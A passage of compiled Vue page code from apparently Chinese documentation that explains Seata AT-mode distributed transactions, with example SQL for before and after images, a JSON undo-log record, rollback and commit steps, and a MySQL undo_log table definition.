"),a("div",{staticClass:"line-numbers-wrapper"},[a("span",{staticClass:"line-number"},[t._v("1")]),a("br")])]),a("p",[a("strong",[t._v("一阶段")])]),t._v(" "),a("p",[t._v("过程:")]),t._v(" "),a("ol",[a("li",[t._v("解析 SQL:得到 SQL 的类型(UPDATE),表(product),条件(where name = 'TXC')等相关的信息。")]),t._v(" "),a("li",[t._v("查询前镜像:根据解析得到的条件信息,生成查询语句,定位数据。")])]),t._v(" "),a("div",{staticClass:"language-sql line-numbers-mode"},[a("pre",{pre:!0,attrs:{class:"language-sql"}},[a("code",[a("span",{pre:!0,attrs:{class:"token keyword"}},[t._v("select")]),t._v(" id"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(",")]),t._v(" name"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(",")]),t._v(" since "),a("span",{pre:!0,attrs:{class:"token keyword"}},[t._v("from")]),t._v(" product "),a("span",{pre:!0,attrs:{class:"token keyword"}},[t._v("where")]),t._v(" name "),a("span",{pre:!0,attrs:{class:"token operator"}},[t._v("=")]),t._v(" "),a("span",{pre:!0,attrs:{class:"token string"}},[t._v("'TXC'")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(";")]),t._v("\n")])]),t._v(" "),a("div",{staticClass:"line-numbers-wrapper"},[a("span",{staticClass:"line-number"},[t._v("1")]),a("br")])]),a("p",[t._v("得到前镜像:")]),t._v(" "),a("table",[a("thead",[a("tr",[a("th",[t._v("id")]),t._v(" "),a("th",[t._v("name")]),t._v(" "),a("th",[t._v("since")])])]),t._v(" "),a("tbody",[a("tr",[a("td",[t._v("1")]),t._v(" "),a("td",[t._v("TXC")]),t._v(" "),a("td",[t._v("2014")])])])]),t._v(" "),a("ol",[a("li",[t._v("执行业务 SQL:更新这条记录的 name 为 'GTS'。")]),t._v(" "),a("li",[t._v("查询后镜像:根据前镜像的结果,通过 "),a("strong",[t._v("主键")]),t._v(" 定位数据。")])]),t._v(" "),a("div",{staticClass:"language-sql line-numbers-mode"},[a("pre",{pre:!0,attrs:{class:"language-sql"}},[a("code",[a("span",{pre:!0,attrs:{class:"token keyword"}},[t._v("select")]),t._v(" id"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(",")]),t._v(" name"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(",")]),t._v(" since "),a("span",{pre:!0,attrs:{class:"token keyword"}},[t._v("from")]),t._v(" product "),a("span",{pre:!0,attrs:{class:"token keyword"}},[t._v("where")]),t._v(" id "),a("span",{pre:!0,attrs:{class:"token operator"}},[t._v("=")]),t._v(" "),a("span",{pre:!0,attrs:{class:"token number"}},[t._v("1")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(";")]),t._v("\n")])]),t._v(" "),a("div",{staticClass:"line-numbers-wrapper"},[a("span",{staticClass:"line-number"},[t._v("1")]),a("br")])]),a("p",[t._v("得到后镜像:")]),t._v(" "),a("table",[a("thead",[a("tr",[a("th",[t._v("id")]),t._v(" "),a("th",[t._v("name")]),t._v(" "),a("th",[t._v("since")])])]),t._v(" "),a("tbody",[a("tr",[a("td",[t._v("1")]),t._v(" "),a("td",[t._v("GTS")]),t._v(" "),a("td",[t._v("2014")])])])]),t._v(" "),a("ol",[a("li",[t._v("插入回滚日志:把前后镜像数据以及业务 SQL 相关的信息组成一条回滚日志记录,插入到 "),a("code",[t._v("UNDO_LOG")]),t._v(" 表中。")])]),t._v(" "),a("div",{staticClass:"language-json line-numbers-mode"},[a("pre",{pre:!0,attrs:{class:"language-json"}},[a("code",[a("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v("{")]),t._v("\n\t"),a("span",{pre:!0,attrs:{class:"token property"}},[t._v('"branchId"')]),a("span",{pre:!0,attrs:{class:"token operator"}},[t._v(":")]),t._v(" "),a("span",{pre:!0,attrs:{class:"token number"}},[t._v("641789253")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(",")]),t._v("\n\t"),a("span",{pre:!0,attrs:{class:"token property"}},[t._v('"undoItems"')]),a("span",{pre:!0,attrs:{class:"token operator"}},[t._v(":")]),t._v(" "),a("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v("[")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v("{")]),t._v("\n\t\t"),a("span",{pre:!0,attrs:{class:"token property"}},[t._v('"afterImage"')]),a("span",{pre:!0,attrs:{class:"token operator"}},[t._v(":")]),t._v(" "),a("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v("{")]),t._v("\n\t\t\t"),a("span",{pre:!0,attrs:{class:"token property"}},[t._v('"rows"')]),a("span",{pre:!0,attrs:{class:"token operator"}},[t._v(":")]),t._v(" "),a("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v("[")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v("{")]),t._v("\n\t\t\t\t"),a("span",{pre:!0,attrs:{class:"token property"}},[t._v('"fields"')]),a("span",{pre:!0,attrs:{class:"token operator"}},[t._v(":")]),t._v(" "),a("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v("[")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v("{")]),t._v("\n\t\t\t\t\t"),a("span",{pre:!0,attrs:{class:"token property"}},[t._v('"name"')]),a("span",{pre:!0,attrs:{class:"token operator"}},[t._v(":")]),t._v(" "),a("span",{pre:!0,attrs:{class:"token string"}},[t._v('"id"')]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(",")]),t._v("\n\t\t\t\t\t"),a("span",{pre:!0,attrs:{class:"token property"}},[t._v('"type"')]),a("span",{pre:!0,attrs:{class:"token operator"}},[t._v(":")]),t._v(" "),a("span",{pre:!0,attrs:{class:"token number"}},[t._v("4")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(",")]),t._v("\n\t\t\t\t\t"),a("span",{pre:!0,attrs:{class:"token property"}},[t._v('"value"')]),a("span",{pre:!0,attrs:{class:"token operator"}},[t._v(":")]),t._v(" "),a("span",{pre:!0,attrs:{class:"token number"}},[t._v("1")]),t._v("\n\t\t\t\t"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v("}")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(",")]),t._v(" "),a("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v("{")]),t._v("\n\t\t\t\t\t"),a("span",{pre:!0,attrs:{class:"token property"}},[t._v('"name"')]),a("span",{pre:!0,attrs:{class:"token operator"}},[t._v(":")]),t._v(" "),a("span",{pre:!0,attrs:{class:"token string"}},[t._v('"name"')]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(",")]),t._v("\n\t\t\t\t\t"),a("span",{pre:!0,attrs:{class:"token property"}},[t._v('"type"')]),a("span",{pre:!0,attrs:{class:"token operator"}},[t._v(":")]),t._v(" "),a("span",{pre:!0,attrs:{class:"token number"}},[t._v("12")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(",")]),t._v("\n\t\t\t\t\t"),a("span",{pre:!0,attrs:{class:"token property"}},[t._v('"value"')]),a("span",{pre:!0,attrs:{class:"token operator"}},[t._v(":")]),t._v(" "),a("span",{pre:!0,attrs:{class:"token string"}},[t._v('"GTS"')]),t._v("\n\t\t\t\t"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v("}")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(",")]),t._v(" "),a("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v("{")]),t._v("\n\t\t\t\t\t"),a("span",{pre:!0,attrs:{class:"token property"}},[t._v('"name"')]),a("span",{pre:!0,attrs:{class:"token operator"}},[t._v(":")]),t._v(" "),a("span",{pre:!0,attrs:{class:"token string"}},[t._v('"since"')]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(",")]),t._v("\n\t\t\t\t\t"),a("span",{pre:!0,attrs:{class:"token property"}},[t._v('"type"')]),a("span",{pre:!0,attrs:{class:"token operator"}},[t._v(":")]),t._v(" "),a("span",{pre:!0,attrs:{class:"token number"}},[t._v("12")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(",")]),t._v("\n\t\t\t\t\t"),a("span",{pre:!0,attrs:{class:"token property"}},[t._v('"value"')]),a("span",{pre:!0,attrs:{class:"token operator"}},[t._v(":")]),t._v(" "),a("span",{pre:!0,attrs:{class:"token string"}},[t._v('"2014"')]),t._v("\n\t\t\t\t"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v("}")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v("]")]),t._v("\n\t\t\t"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v("}")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v("]")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(",")]),t._v("\n\t\t\t"),a("span",{pre:!0,attrs:{class:"token property"}},[t._v('"tableName"')]),a("span",{pre:!0,attrs:{class:"token operator"}},[t._v(":")]),t._v(" "),a("span",{pre:!0,attrs:{class:"token string"}},[t._v('"product"')]),t._v("\n\t\t"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v("}")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(",")]),t._v("\n\t\t"),a("span",{pre:!0,attrs:{class:"token property"}},[t._v('"beforeImage"')]),a("span",{pre:!0,attrs:{class:"token operator"}},[t._v(":")]),t._v(" "),a("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v("{")]),t._v("\n\t\t\t"),a("span",{pre:!0,attrs:{class:"token property"}},[t._v('"rows"')]),a("span",{pre:!0,attrs:{class:"token operator"}},[t._v(":")]),t._v(" "),a("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v("[")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v("{")]),t._v("\n\t\t\t\t"),a("span",{pre:!0,attrs:{class:"token property"}},[t._v('"fields"')]),a("span",{pre:!0,attrs:{class:"token operator"}},[t._v(":")]),t._v(" "),a("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v("[")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v("{")]),t._v("\n\t\t\t\t\t"),a("span",{pre:!0,attrs:{class:"token property"}},[t._v('"name"')]),a("span",{pre:!0,attrs:{class:"token operator"}},[t._v(":")]),t._v(" "),a("span",{pre:!0,attrs:{class:"token string"}},[t._v('"id"')]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(",")]),t._v("\n\t\t\t\t\t"),a("span",{pre:!0,attrs:{class:"token property"}},[t._v('"type"')]),a("span",{pre:!0,attrs:{class:"token operator"}},[t._v(":")]),t._v(" "),a("span",{pre:!0,attrs:{class:"token number"}},[t._v("4")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(",")]),t._v("\n\t\t\t\t\t"),a("span",{pre:!0,attrs:{class:"token property"}},[t._v('"value"')]),a("span",{pre:!0,attrs:{class:"token operator"}},[t._v(":")]),t._v(" "),a("span",{pre:!0,attrs:{class:"token number"}},[t._v("1")]),t._v("\n\t\t\t\t"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v("}")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(",")]),t._v(" "),a("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v("{")]),t._v("\n\t\t\t\t\t"),a("span",{pre:!0,attrs:{class:"token property"}},[t._v('"name"')]),a("span",{pre:!0,attrs:{class:"token operator"}},[t._v(":")]),t._v(" "),a("span",{pre:!0,attrs:{class:"token string"}},[t._v('"name"')]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(",")]),t._v("\n\t\t\t\t\t"),a("span",{pre:!0,attrs:{class:"token property"}},[t._v('"type"')]),a("span",{pre:!0,attrs:{class:"token operator"}},[t._v(":")]),t._v(" "),a("span",{pre:!0,attrs:{class:"token number"}},[t._v("12")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(",")]),t._v("\n\t\t\t\t\t"),a("span",{pre:!0,attrs:{class:"token property"}},[t._v('"value"')]),a("span",{pre:!0,attrs:{class:"token operator"}},[t._v(":")]),t._v(" "),a("span",{pre:!0,attrs:{class:"token string"}},[t._v('"TXC"')]),t._v("\n\t\t\t\t"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v("}")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(",")]),t._v(" "),a("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v("{")]),t._v("\n\t\t\t\t\t"),a("span",{pre:!0,attrs:{class:"token property"}},[t._v('"name"')]),a("span",{pre:!0,attrs:{class:"token operator"}},[t._v(":")]),t._v(" "),a("span",{pre:!0,attrs:{class:"token string"}},[t._v('"since"')]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(",")]),t._v("\n\t\t\t\t\t"),a("span",{pre:!0,attrs:{class:"token property"}},[t._v('"type"')]),a("span",{pre:!0,attrs:{class:"token operator"}},[t._v(":")]),t._v(" "),a("span",{pre:!0,attrs:{class:"token number"}},[t._v("12")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(",")]),t._v("\n\t\t\t\t\t"),a("span",{pre:!0,attrs:{class:"token property"}},[t._v('"value"')]),a("span",{pre:!0,attrs:{class:"token operator"}},[t._v(":")]),t._v(" "),a("span",{pre:!0,attrs:{class:"token string"}},[t._v('"2014"')]),t._v("\n\t\t\t\t"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v("}")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v("]")]),t._v("\n\t\t\t"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v("}")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v("]")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(",")]),t._v("\n\t\t\t"),a("span",{pre:!0,attrs:{class:"token property"}},[t._v('"tableName"')]),a("span",{pre:!0,attrs:{class:"token operator"}},[t._v(":")]),t._v(" "),a("span",{pre:!0,attrs:{class:"token string"}},[t._v('"product"')]),t._v("\n\t\t"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v("}")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(",")]),t._v("\n\t\t"),a("span",{pre:!0,attrs:{class:"token property"}},[t._v('"sqlType"')]),a("span",{pre:!0,attrs:{class:"token operator"}},[t._v(":")]),t._v(" "),a("span",{pre:!0,attrs:{class:"token string"}},[t._v('"UPDATE"')]),t._v("\n\t"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v("}")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v("]")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(",")]),t._v("\n\t"),a("span",{pre:!0,attrs:{class:"token property"}},[t._v('"xid"')]),a("span",{pre:!0,attrs:{class:"token operator"}},[t._v(":")]),t._v(" "),a("span",{pre:!0,attrs:{class:"token string"}},[t._v('"xid:xxx"')]),t._v("\n"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v("}")]),t._v("\n")])]),t._v(" "),a("div",{staticClass:"line-numbers-wrapper"},[a("span",{staticClass:"line-number"},[t._v("1")]),a("br"),a("span",{staticClass:"line-number"},[t._v("2")]),a("br"),a("span",{staticClass:"line-number"},[t._v("3")]),a("br"),a("span",{staticClass:"line-number"},[t._v("4")]),a("br"),a("span",{staticClass:"line-number"},[t._v("5")]),a("br"),a("span",{staticClass:"line-number"},[t._v("6")]),a("br"),a("span",{staticClass:"line-number"},[t._v("7")]),a("br"),a("span",{staticClass:"line-number"},[t._v("8")]),a("br"),a("span",{staticClass:"line-number"},[t._v("9")]),a("br"),a("span",{staticClass:"line-number"},[t._v("10")]),a("br"),a("span",{staticClass:"line-number"},[t._v("11")]),a("br"),a("span",{staticClass:"line-number"},[t._v("12")]),a("br"),a("span",{staticClass:"line-number"},[t._v("13")]),a("br"),a("span",{staticClass:"line-number"},[t._v("14")]),a("br"),a("span",{staticClass:"line-number"},[t._v("15")]),a("br"),a("span",{staticClass:"line-number"},[t._v("16")]),a("br"),a("span",{staticClass:"line-number"},[t._v("17")]),a("br"),a("span",{staticClass:"line-number"},[t._v("18")]),a("br"),a("span",{staticClass:"line-number"},[t._v("19")]),a("br"),a("span",{staticClass:"line-number"},[t._v("20")]),a("br"),a("span",{staticClass:"line-number"},[t._v("21")]),a("br"),a("span",{staticClass:"line-number"},[t._v("22")]),a("br"),a("span",{staticClass:"line-number"},[t._v("23")]),a("br"),a("span",{staticClass:"line-number"},[t._v("24")]),a("br"),a("span",{staticClass:"line-number"},[t._v("25")]),a("br"),a("span",{staticClass:"line-number"},[t._v("26")]),a("br"),a("span",{staticClass:"line-number"},[t._v("27")]),a("br"),a("span",{staticClass:"line-number"},[t._v("28")]),a("br"),a("span",{staticClass:"line-number"},[t._v("29")]),a("br"),a("span",{staticClass:"line-number"},[t._v("30")]),a("br"),a("span",{staticClass:"line-number"},[t._v("31")]),a("br"),a("span",{staticClass:"line-number"},[t._v("32")]),a("br"),a("span",{staticClass:"line-number"},[t._v("33")]),a("br"),a("span",{staticClass:"line-number"},[t._v("34")]),a("br"),a("span",{staticClass:"line-number"},[t._v("35")]),a("br"),a("span",{staticClass:"line-number"},[t._v("36")]),a("br"),a("span",{staticClass:"line-number"},[t._v("37")]),a("br"),a("span",{staticClass:"line-number"},[t._v("38")]),a("br"),a("span",{staticClass:"line-number"},[t._v("39")]),a("br"),a("span",{staticClass:"line-number"},[t._v("40")]),a("br"),a("span",{staticClass:"line-number"},[t._v("41")]),a("br"),a("span",{staticClass:"line-number"},[t._v("42")]),a("br"),a("span",{staticClass:"line-number"},[t._v("43")]),a("br")])]),a("ol",[a("li",[t._v("提交前,向 TC 注册分支:申请 "),a("code",[t._v("product")]),t._v(" 表中,主键值等于 1 的记录的 "),a("strong",[t._v("全局锁")]),t._v(" 。")]),t._v(" "),a("li",[t._v("本地事务提交:业务数据的更新和前面步骤中生成的 UNDO LOG 一并提交。")]),t._v(" "),a("li",[t._v("将本地事务提交的结果上报给 TC。")])]),t._v(" "),a("p",[a("strong",[t._v("二阶段-回滚")])]),t._v(" "),a("ol",[a("li",[t._v("收到 TC 的分支回滚请求,开启一个本地事务,执行如下操作。")]),t._v(" "),a("li",[t._v("通过 XID 和 Branch ID 查找到相应的 UNDO LOG 记录。")]),t._v(" "),a("li",[t._v("数据校验:拿 UNDO LOG 中的后镜与当前数据进行比较,如果有不同,说明数据被当前全局事务之外的动作做了修改。这种情况,需要根据配置策略来做处理,详细的说明在另外的文档中介绍。")]),t._v(" "),a("li",[t._v("根据 UNDO LOG 中的前镜像和业务 SQL 的相关信息生成并执行回滚的语句:")])]),t._v(" "),a("div",{staticClass:"language-sql line-numbers-mode"},[a("pre",{pre:!0,attrs:{class:"language-sql"}},[a("code",[a("span",{pre:!0,attrs:{class:"token keyword"}},[t._v("update")]),t._v(" product "),a("span",{pre:!0,attrs:{class:"token keyword"}},[t._v("set")]),t._v(" name "),a("span",{pre:!0,attrs:{class:"token operator"}},[t._v("=")]),t._v(" "),a("span",{pre:!0,attrs:{class:"token string"}},[t._v("'TXC'")]),t._v(" "),a("span",{pre:!0,attrs:{class:"token keyword"}},[t._v("where")]),t._v(" id "),a("span",{pre:!0,attrs:{class:"token operator"}},[t._v("=")]),t._v(" "),a("span",{pre:!0,attrs:{class:"token number"}},[t._v("1")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(";")]),t._v("\n")])]),t._v(" "),a("div",{staticClass:"line-numbers-wrapper"},[a("span",{staticClass:"line-number"},[t._v("1")]),a("br")])]),a("ol",[a("li",[t._v("提交本地事务。并把本地事务的执行结果(即分支事务回滚的结果)上报给 TC。")])]),t._v(" "),a("p",[a("strong",[t._v("二阶段-提交")])]),t._v(" "),a("ol",[a("li",[t._v("收到 TC 的分支提交请求,把请求放入一个异步任务的队列中,马上返回提交成功的结果给 TC。")]),t._v(" "),a("li",[t._v("异步任务阶段的分支提交请求将异步和批量地删除相应 UNDO LOG 记录。")])]),t._v(" "),a("h4",{attrs:{id:"附录"}},[a("a",{staticClass:"header-anchor",attrs:{href:"#附录"}},[t._v("#")]),t._v(" 附录")]),t._v(" "),a("p",[a("strong",[t._v("回滚日志表")])]),t._v(" "),a("p",[t._v("UNDO_LOG Table:不同数据库在类型上会略有差别。")]),t._v(" "),a("p",[t._v("以 MySQL 为例:")]),t._v(" "),a("table",[a("thead",[a("tr",[a("th",[t._v("Field")]),t._v(" "),a("th",[t._v("Type")])])]),t._v(" "),a("tbody",[a("tr",[a("td",[t._v("branch_id")]),t._v(" "),a("td",[t._v("bigint PK")])]),t._v(" "),a("tr",[a("td",[t._v("xid")]),t._v(" "),a("td",[t._v("varchar(100)")])]),t._v(" "),a("tr",[a("td",[t._v("context")]),t._v(" "),a("td",[t._v("varchar(128)")])]),t._v(" "),a("tr",[a("td",[t._v("rollback_info")]),t._v(" "),a("td",[t._v("longblob")])]),t._v(" "),a("tr",[a("td",[t._v("log_status")]),t._v(" "),a("td",[t._v("tinyint")])]),t._v(" "),a("tr",[a("td",[t._v("log_created")]),t._v(" "),a("td",[t._v("datetime")])]),t._v(" "),a("tr",[a("td",[t._v("log_modified")]),t._v(" "),a("td",[t._v("datetime")])])])]),t._v(" "),a("div",{staticClass:"language-sql line-numbers-mode"},[a("pre",{pre:!0,attrs:{class:"language-sql"}},[a("code",[a("span",{pre:!0,attrs:{class:"token comment"}},[t._v("-- 注意此处0.7.0+ 增加字段 context")]),t._v("\n"),a("span",{pre:!0,attrs:{class:"token keyword"}},[t._v("CREATE")]),t._v(" "),a("span",{pre:!0,attrs:{class:"token keyword"}},[t._v("TABLE")]),t._v(" "),a("span",{pre:!0,attrs:{class:"token identifier"}},[a("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v("`")]),t._v("undo_log"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v("`")])]),t._v(" "),a("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v("(")]),t._v("\n "),a("span",{pre:!0,attrs:{class:"token identifier"}},[a("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v("`")]),t._v("id"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v("`")])]),t._v(" "),a("span",{pre:!0,attrs:{class:"token keyword"}},[t._v("bigint")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v("(")]),a("span",{pre:!0,attrs:{class:"token number"}},[t._v("20")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(")")]),t._v(" "),a("span",{pre:!0,attrs:{class:"token operator"}},[t._v("NOT")]),t._v(" "),a("span",{pre:!0,attrs:{class:"token boolean"}},[t._v("NULL")]),t._v(" "),a("span",{pre:!0,attrs:{class:"token keyword"}},[t._v("AUTO_INCREMENT")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(",")]),t._v("\n "),a("span",{pre:!0,attrs:{class:"token identifier"}},[a("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v("`")]),t._v("branch_id"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v("`")])]),t._v(" "),a("span",{pre:!0,attrs:{class:"token keyword"}},[t._v("bigint")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v("(")]),a("span",{pre:!0,attrs:{class:"token number"}},[t._v("20")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(")")]),t._v(" "),a("span",{pre:!0,attrs:{class:"token operator"}},[t._v("NOT")]),t._v(" "),a("span",{pre:!0,attrs:{class:"token boolean"}},[t._v("NULL")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(",")]),t._v("\n "),a("span",{pre:!0,attrs:{class:"token identifier"}},[a("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v("`")]),t._v("xid"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v("`")])]),t._v(" "),a("span",{pre:!0,attrs:{class:"token keyword"}},[t._v("varchar")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v("(")]),a("span",{pre:!0,attrs:{class:"token number"}},[t._v("100")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(")")]),t._v(" "),a("span",{pre:!0,attrs:{class:"token operator"}},[t._v("NOT")]),t._v(" "),a("span",{pre:!0,attrs:{class:"token boolean"}},[t._v("NULL")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(",")]),t._v("\n "),a("span",{pre:!0,attrs:{class:"token identifier"}},[a("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v("`")]),t._v("context"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v("`")])]),t._v(" "),a("span",{pre:!0,attrs:{class:"token keyword"}},[t._v("varchar")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v("(")]),a("span",{pre:!0,attrs:{class:"token number"}},[t._v("128")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(")")]),t._v(" "),a("span",{pre:!0,attrs:{class:"token operator"}},[t._v("NOT")]),t._v(" "),a("span",{pre:!0,attrs:{class:"token boolean"}},[t._v("NULL")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(",")]),t._v("\n "),a("span",{pre:!0,attrs:{class:"token identifier"}},[a("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v("`")]),t._v("rollback_info"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v("`")])]),t._v(" "),a("span",{pre:!0,attrs:{class:"token keyword"}},[t._v("longblob")]),t._v(" "),a("span",{pre:!0,attrs:{class:"token operator"}},[t._v("NOT")]),t._v(" "),a("span",{pre:!0,attrs:{class:"token boolean"}},[t._v("NULL")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(",")]),t._v("\n "),a("span",{pre:!0,attrs:{class:"token identifier"}},[a("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v("`")]),t._v("log_status"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v("`")])]),t._v(" "),a("span",{pre:!0,attrs:{class:"token keyword"}},[t._v("int")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v("(")]),a("span",{pre:!0,attrs:{class:"token number"}},[t._v("11")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(")")]),t._v(" "),a("span",{pre:!0,attrs:{class:"token operator"}},[t._v("NOT")]),t._v(" "),a("span",{pre:!0,attrs:{class:"token boolean"}},[t._v("NULL")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(",")]),t._v("\n "),a("span",{pre:!0,attrs:{class:"token identifier"}},[a("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v("`")]),t._v("log_created"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v("`")])]),t._v(" "),a("span",{pre:!0,attrs:{class:"token keyword"}},[t._v("datetime")]),t._v(" "),a("span",{pre:!0,attrs:{class:"token operator"}},[t._v("NOT")]),t._v(" "),a("span",{pre:!0,attrs:{class:"token boolean"}},[t._v("NULL")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(",")]),t._v("\n "),a("span",{pre:!0,attrs:{class:"token identifier"}},[a("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v("`")]),t._v("log_modified"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v("`")])]),t._v(" "),a("span",{pre:!0,attrs:{class:"token keyword"}},[t._v("datetime")]),t._v(" "),a("span",{pre:!0,attrs:{class:"token operator"}},[t._v("NOT")]),t._v(" "),a("span",{pre:!0,attrs:{class:"token boolean"}},[t._v("NULL")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(",")]),t._v("\n "),a("span",{pre:!0,attrs:{class:"token keyword"}},[t._v("PRIMARY")]),t._v(" "),a("span",{pre:!0,attrs:{class:"token keyword"}},[t._v("KEY")]),t._v(" "),a("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v("(")]),a("span",{pre:!0,attrs:{class:"token identifier"}},[a("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v("`")]),t._v("id"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v("`")])]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(")")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(",")]),t._v("\n "),a("span",{pre:!0,attrs:{class:"token keyword"}},[t._v("UNIQUE")]),t._v(" "),a("span",{pre:!0,attrs:{class:"token keyword"}},[t._v("KEY")]),t._v(" "),a("span",{pre:!0,attrs:{class:"token identifier"}},[a("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v("`")]),t._v("ux_undo_log"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v("`")])]),t._v(" "),a("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v("(")]),a("span",{pre:!0,attrs:{class:"token identifier"}},[a("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v("`")]),t._v("xid"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v("`")])]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(",")]),a("span",{pre:!0,attrs:{class:"token identifier"}},[a("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v("`")]),t._v("branch_id"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v("`")])]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(")")]),t._v("\n"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(")")]),t._v(" "),a("span",{pre:!0,attrs:{class:"token keyword"}},[t._v("ENGINE")]),a("span",{pre:!0,attrs:{class:"token operator"}},[t._v("=")]),a("span",{pre:!0,attrs:{class:"token keyword"}},[t._v("InnoDB")]),t._v(" 